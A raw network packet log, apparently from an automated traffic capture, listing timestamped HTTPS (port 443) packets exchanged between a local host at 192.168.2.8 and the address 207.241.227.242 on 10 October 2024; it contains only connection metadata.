Oct 10, 2024 09:29:03.852711916 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.852732897 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.852756977 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.852782011 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.852787018 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.852823019 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.853562117 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.853581905 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.853620052 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.853630066 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.853652954 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.853674889 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.854274988 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.854298115 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.854346991 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.854357004 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.854393959 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.858941078 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.858962059 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.859005928 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.859031916 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.859045982 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.859069109 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.859253883 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.859271049 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.859311104 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.859321117 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.859342098 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.859363079 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.904680014 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.904704094 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.904776096 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.904803991 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.904843092 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.916357994 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.916379929 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.916445971 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.916475058 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.916513920 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.941333055 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.941359997 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.941412926 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.941436052 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.941436052 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.941457987 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.941487074 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.941510916 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.941510916 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.942225933 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.942241907 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.942286015 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.942292929 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.942303896 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.943008900 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.943028927 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.943068027 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.943073988 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.943085909 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.947720051 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.947742939 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.947798014 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.947828054 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.947843075 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.948136091 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.948158026 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.948195934 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.948203087 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.948215008 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.993657112 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.993680954 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.993741035 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.993779898 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.993798018 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.004950047 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.004981041 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.005026102 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.005058050 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.005075932 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.029706955 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.029726982 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.029787064 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.029819012 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.029838085 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.029959917 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.029982090 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.030011892 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.030019999 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.030047894 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.030903101 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.030927896 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.030952930 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.030972004 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.030987978 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.031645060 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.031666040 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.031716108 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.031732082 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.039757967 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.039773941 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.039817095 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.039843082 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.039855957 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.040018082 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.040039062 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.040070057 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.040080070 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.040100098 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.081547976 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.083036900 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.083060026 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.083190918 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.083205938 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.083256960 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.093456984 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.093472958 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.093566895 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.093575954 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.093616962 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.118503094 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.118534088 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.118599892 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.118638992 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.118644953 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.118680000 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.118696928 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.118705988 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.119458914 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.119476080 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.119523048 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.119539976 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.119554043 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.120325089 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.120346069 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.120383024 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.120397091 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.120420933 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.128464937 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.128487110 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.128550053 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.128568888 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.128793955 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.128813028 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.128844976 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.128850937 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.128876925 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.171426058 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.171446085 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.171509981 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.171538115 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.182156086 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.182188988 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.182221889 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.182233095 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.182277918 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.207398891 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.207428932 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.207468987 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.207498074 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.207509995 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.207679033 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.207714081 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.207751036 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.207756996 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.207777977 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.208151102 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.208168030 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.208223104 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.208230972 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.208909035 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.208931923 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.208971024 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.208976030 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.209006071 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.217072964 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.217096090 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.217132092 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.217139959 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.217170954 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.217449903 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.217473030 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.217509031 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.217514038 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.217547894 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.260543108 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.260566950 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.260610104 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.260638952 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.260648966 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.271008968 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.271038055 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.271130085 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.271147966 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.296564102 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.296591043 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.296648979 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.296650887 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.296669960 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.296681881 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.296689034 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.296722889 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.296727896 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.296755075 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.296773911 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.296924114 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.296940088 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.296977043 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.296982050 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.297008038 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.297025919 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.300302982 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.300323009 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.300409079 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.300421000 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.300461054 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.305893898 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.305922031 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.305977106 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.305989027 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.306022882 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.306042910 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.306097031 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.306123972 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.306170940 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.306175947 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.306204081 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.306222916 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.348903894 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.348933935 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.349179983 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.349191904 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.349236965 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.359527111 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.359555960 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.359761000 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.359788895 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.359842062 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.385055065 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.385091066 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.385204077 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.385232925 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.385262012 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.385278940 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.385283947 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.385294914 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.385317087 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.385355949 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.385603905 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.385617971 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.385656118 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.385664940 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.385679007 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.385703087 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.388892889 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.388921022 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.388969898 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.388998985 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.389013052 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.389040947 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.394516945 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.394541025 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.394603968 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.394629955 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.394643068 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.394670963 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.394783974 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.394802094 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.394838095 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.394844055 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.394876003 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.394893885 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.437936068 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.437957048 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.438057899 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.438071012 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.438114882 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.448456049 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.448477983 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.448549032 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.448555946 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.448591948 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.473906994 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.473928928 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.473987103 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.474015951 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.474030972 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.474044085 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.474051952 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.474056959 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.474071980 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.474083900 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.474114895 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.474122047 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.474155903 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.474514961 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.474531889 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.474577904 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.474591970 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.474606991 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.474642992 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.477539062 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.477560043 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.477619886 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.477648020 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.477663040 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.477690935 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.483320951 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.483338118 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.483406067 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.483432055 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.483468056 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.483565092 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.483578920 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.483622074 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.483633041 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.483661890 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.526808023 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.526834011 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.526973009 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.527004004 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.527046919 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.537676096 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.537704945 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.537779093 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.537791014 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.537833929 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.563204050 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.563226938 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.563349009 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.563364983 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.563426018 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.563534021 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.563551903 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.563594103 CEST	49706	443	192.168.2.8	207.241.227.242
